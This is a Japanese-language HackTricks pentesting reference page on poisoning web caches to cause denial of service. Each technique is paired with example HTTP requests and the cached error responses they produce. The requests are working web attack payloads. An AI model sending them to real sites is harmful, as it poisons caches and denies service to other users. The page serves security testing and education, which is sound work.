hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos.md

7.4 KiB
Raw Blame History

Cache Poisoning to DoS

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% hint style="danger" %} このページでは、キャッシュサーバーに対して有効なリクエストに対してウェブサーバーがエラーで応答するように試みるさまざまなバリエーションを見つけることができます。 {% endhint %}

  • HTTP Header Oversize (HHO)

ウェブサーバーがサポートするサイズより大きく、キャッシュサーバーがサポートするサイズより小さいヘッダーサイズでリクエストを送信します。ウェブサーバーは400レスポンスで応答し、これがキャッシュされる可能性があります:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTPメタキャラクター (HMC) と予期しない値

有害なメタキャラクターを含むヘッダーを送信します。攻撃が機能するためには、まずキャッシュをバイパスする必要があります。

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

A badly configured header could be just \: as a header.

This could also work if unexpected values are sent, like an unexpected Content-Type:
悪く構成されたヘッダーは、単に \: としてヘッダーになる可能性があります。

予期しない値が送信される場合、例えば予期しない Content-Type: の場合も、これが機能する可能性があります。

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Unkeyed header

一部のウェブサイトは、X-Amz-Website-Location-Redirect: someThing ヘッダーのように、リクエスト内の特定のヘッダーを見るとエラーステータスコードを返します。

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTPメソッドオーバーライド攻撃 (HMO)

サーバーが X-HTTP-Method-OverrideX-HTTP-Method、または X-Method-Override のようなヘッダーでHTTPメソッドを変更することをサポートしている場合、メソッドを変更して有効なページをリクエストすることが可能です。これにより、サーバーがそれをサポートしないため、不正なレスポンスがキャッシュされます

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • 未鍵ポート

Hostヘッダーのポートがレスポンスに反映され、キャッシュキーに含まれていない場合、未使用のポートにリダイレクトすることが可能です

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • ロングリダイレクトDoS

以下の例のように、xはキャッシュされていないため、攻撃者はリダイレクト応答の動作を悪用して、リダイレクトが非常に大きなURLを送信するようにし、エラーを返すことができます。その後、キャッシュされていないxキーなしでURLにアクセスしようとする人々は、エラー応答を受け取ります:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • ホストヘッダーのケース正規化

ホストヘッダーは大文字と小文字を区別しないはずですが、一部のウェブサイトは小文字であることを期待しており、そうでない場合はエラーを返します:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • パスの正規化

一部のページは、パスにデータをURLエンコードして送信するとエラーコードを返しますが、キャッシュサーバーはパスをURLデコードし、URLデコードされたパスのレスポンスを保存します。

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

一部のキャッシュサーバーCloudflareなどやウェブサーバーは、ボディを持つGETリクエストを停止するため、無効なレスポンスをキャッシュするために悪用される可能性があります

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

参考文献

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}